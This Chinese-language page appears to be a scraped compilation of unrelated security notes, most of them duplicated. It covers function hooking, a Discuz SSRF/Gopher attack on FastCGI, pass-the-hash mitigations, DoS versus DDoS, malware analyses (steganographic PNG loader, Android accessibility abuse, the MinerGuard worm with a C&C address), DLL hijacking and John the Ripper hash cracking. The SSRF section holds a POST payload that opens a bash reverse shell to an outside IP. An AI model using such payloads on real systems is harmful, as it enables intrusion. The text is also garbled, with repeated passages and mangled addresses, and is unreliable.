hook代码如下:由于thiscall是由被调用函数清理参数栈,因此将新函数的调用约定为stdcall。这样除了this指针没有通过ecx传递之外,其余的操作与thiscall相同。如果新函数中需要使用this指针(如调用原函数),需要在函数开头push ecx,将this指针保存在栈上。当需要使用时,pop ecx,将this指针传给ecx以模拟thiscall。注意:push ecx之后堆栈会变化,需要自己维护,在函数结束时保持堆栈平衡,编译器优化会将函数调用约定变为__usercall,这种调用约定传参与fastcall一样,但是无论是调用方还是被调用方都没有清理堆栈,程序可能会崩溃。可以禁用优化,不使用这种调用约定
攻击内网 Vulnerability Web
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127001 访问的 expphp,内容为:
POST /exp.php HTTP/1.1
Host 127001
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/172.19.23.2282333 0>%261
利用 Discuz SSRF 攻击 FastCGI
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127001 访问的 expphp,内容为:
POST /exp.php HTTP/1.1
Host 127001
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/172.19.23.2282333 0>%261
利用 Discuz SSRF 攻击 FastCGI
Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
缓解传递哈希攻击
强密码策略:鼓励用户创建强而复杂的密码,以增加密码破解的难度。
多重身份验证 (MFA):实施 MFA 以增加额外的安全层,使攻击者更难以入侵帐户。
定期更改密码:强制定期更改密码,以最大限度地减少攻击者使用被盗哈希值的机会。
监控和入侵检测:采用强大的监控和入侵检测系统来检测可疑活动,例如使用传递哈希 (Pass the Hash) 的横向移动。
最小特权:将用户特权限制为其角色所需的特权,以减少成功攻击的潜在影响。
强密码策略:鼓励用户创建强而复杂的密码,以增加密码破解的难度。
多重身份验证 (MFA):实施 MFA 以增加额外的安全层,使攻击者更难以入侵帐户。
定期更改密码:强制定期更改密码,以最大限度地减少攻击者使用被盗哈希值的机会。
监控和入侵检测:采用强大的监控和入侵检测系统来检测可疑活动,例如使用传递哈希 (Pass the Hash) 的横向移动。
最小特权:将用户特权限制为其角色所需的特权,以减少成功攻击的潜在影响。
拒绝服务 (DoS) 攻击使服务器流量过载,从而导致服务器关闭。分布式拒绝服务 (DDoS) 攻击是一种 DoS 攻击,其中大量计算机或机器淹没目标资源。以下是 DoS 和 DDoS 之间的一些区别。
流量:由于 DDoS 攻击使用多台远程计算机(僵尸或机器人),它可能同时从各个地方传输大量流量,从而迅速导致服务器超载并逃避检测。
执行方式: DDoS 攻击使用命令和控制 (C&C) 服务器来协调大量感染恶意软件 (bot) 的主机,从而形成僵尸网络。而DoS 攻击通常使用脚本或工具从单台机器执行。
追根溯源:由于DDoS攻击利用了僵尸网络,追踪真正的来源比追踪DoS攻击的来源要困难得多,从而可能造成额外的危害,甚至可能是灾难性的后果。
易于检测:由于 DoS 攻击来自单一位置,因此很容易识别和终止连接。实际上,一个称职的防火墙就可以做到这一点。另一方面,DDoS 攻击来自多个位置,隐藏了其来源。
攻击速度:由于 DDoS 攻击源自多个地方,因此其部署速度可能比从单个站点发起的 DoS 攻击快得多。攻击速度加快使得检测更加困难
流量:由于 DDoS 攻击使用多台远程计算机(僵尸或机器人),它可能同时从各个地方传输大量流量,从而迅速导致服务器超载并逃避检测。
执行方式: DDoS 攻击使用命令和控制 (C&C) 服务器来协调大量感染恶意软件 (bot) 的主机,从而形成僵尸网络。而DoS 攻击通常使用脚本或工具从单台机器执行。
追根溯源:由于DDoS攻击利用了僵尸网络,追踪真正的来源比追踪DoS攻击的来源要困难得多,从而可能造成额外的危害,甚至可能是灾难性的后果。
易于检测:由于 DoS 攻击来自单一位置,因此很容易识别和终止连接。实际上,一个称职的防火墙就可以做到这一点。另一方面,DDoS 攻击来自多个位置,隐藏了其来源。
攻击速度:由于 DDoS 攻击源自多个地方,因此其部署速度可能比从单个站点发起的 DoS 攻击快得多。攻击速度加快使得检测更加困难
COM组件权限维持持久化
样本加载 aut.png 中的恶意代码,通过恶意代码利用 COM 组件创建多个快捷方式,并释放 Registry Workshop 注册表管理工具。接着,样本利用该注册表管理工具创建reg格式注册表配置文件并通过快捷方式附加参数reg配置文件路径,实现注册表权限的维持,从而确保恶意代码能够在系统中持久化存在。
对libcef.dll分析发现,该样本通过图片隐写技术,将恶意代码嵌入到 aut.png 图片文件中的辅助数据块区段,并隐藏了一个完整的 PE 文件。将 aut.png 中的恶意代码 dump 出来后发现恶意代码是一个 PE 文件,对其进行静态分析发现,恶意代码首先采用 com 组件进行创建快捷方式,随后通过修改注册表 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 添加注册表启动项
样本加载 aut.png 中的恶意代码,通过恶意代码利用 COM 组件创建多个快捷方式,并释放 Registry Workshop 注册表管理工具。接着,样本利用该注册表管理工具创建reg格式注册表配置文件并通过快捷方式附加参数reg配置文件路径,实现注册表权限的维持,从而确保恶意代码能够在系统中持久化存在。
对libcef.dll分析发现,该样本通过图片隐写技术,将恶意代码嵌入到 aut.png 图片文件中的辅助数据块区段,并隐藏了一个完整的 PE 文件。将 aut.png 中的恶意代码 dump 出来后发现恶意代码是一个 PE 文件,对其进行静态分析发现,恶意代码首先采用 com 组件进行创建快捷方式,随后通过修改注册表 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 添加注册表启动项
文件利用对称加密和对称加密算法双重加密算法加密配置文件内容增加了逆向人员分析代码的难度。
为了保证程序的某些操作能够得到有效执行而不需要经过用户同意,该程序一启动便会请求目标人开启辅助功能服务。Android的辅助功能服务最初是由Google开发的,目的是服务于有残障的用户。应用程序可以通过该项服务监控用户在设备上的任何操作,以及模拟用户与设备的交互如点击按钮。木马恶意Android应用程序在各种攻击情形下滥用了该项可访问性服务。
恶意程序可利用该项服务执行以下操作:
防止用户卸载应用程序授予应用敏感权限设置应用为默认短信应用程序监视当前正在运行的应用程序获取屏幕上文字(是窃取用户登录凭证的一种手段)
为了保证程序的某些操作能够得到有效执行而不需要经过用户同意,该程序一启动便会请求目标人开启辅助功能服务。Android的辅助功能服务最初是由Google开发的,目的是服务于有残障的用户。应用程序可以通过该项服务监控用户在设备上的任何操作,以及模拟用户与设备的交互如点击按钮。木马恶意Android应用程序在各种攻击情形下滥用了该项可访问性服务。
恶意程序可利用该项服务执行以下操作:
防止用户卸载应用程序授予应用敏感权限设置应用为默认短信应用程序监视当前正在运行的应用程序获取屏幕上文字(是窃取用户登录凭证的一种手段)
蠕虫病毒“MinerGuard”,病毒使用Go语言编写。病毒可以通过漏洞攻击、暴力破解等手段进行传播,且可以同时进行Windows和Linux操作系统的交叉传播。病毒具有更新功能,可以通过远程C&C服务器(hxxp://43.245.222.57:8667)请求更新病毒模块。有意思的是,病毒除了可以通过C&C服务器进行更新外,还可以通过以太坊转账信息中的input字段内容临时更新C&C服务器地址,之后派发新的病毒模块到本地执行。用来获取C&C服务器地址的以太坊钱包地址为:0xb017eFb3339FfExxB3dBF799Dxxcb065376fFEda,在获取C&C服务器地址时,只有该钱包地址向外(包括自己)的交易记录才会生效,所以只有该钱包地址的拥有者才可以执行C&C服务器地址更新的操作
DLL 劫持数据的目的
Execution
常见的白加黑,利用可信任的(最好被微软签名过)可执行程序加载恶意 DLL
Persistence
劫持目标操作系统中已预先安装并且会定期运行的软件所需加载的 DLL
Privilege escalation
如果目标应用程序正以高权限运行,劫持后的恶意代码也会以相应的权限执行
Execution
常见的白加黑,利用可信任的(最好被微软签名过)可执行程序加载恶意 DLL
Persistence
劫持目标操作系统中已预先安装并且会定期运行的软件所需加载的 DLL
Privilege escalation
如果目标应用程序正以高权限运行,劫持后的恶意代码也会以相应的权限执行
将简单的字母数字密码的哈希值传输到 SHA-256:echo -n 'passw0rd' | sha256sum
将用户名、冒号 (:) 和哈希值作为单个长字符串写入新文本文件中(inc.txt): echo user02:8f0e2f76e22b43e2855189877e7dc1e1e7d98c226c95db247cd1d547928334a9>>inc.txt
通过 John the Ripper 的 Wordlist 模式运行 inc.txt:john --incremental --format=raw-sha256 inc.txt
获得结果。
将用户名、冒号 (:) 和哈希值作为单个长字符串写入新文本文件中(inc.txt): echo user02:8f0e2f76e22b43e2855189877e7dc1e1e7d98c226c95db247cd1d547928334a9>>inc.txt
通过 John the Ripper 的 Wordlist 模式运行 inc.txt:john --incremental --format=raw-sha256 inc.txt
获得结果。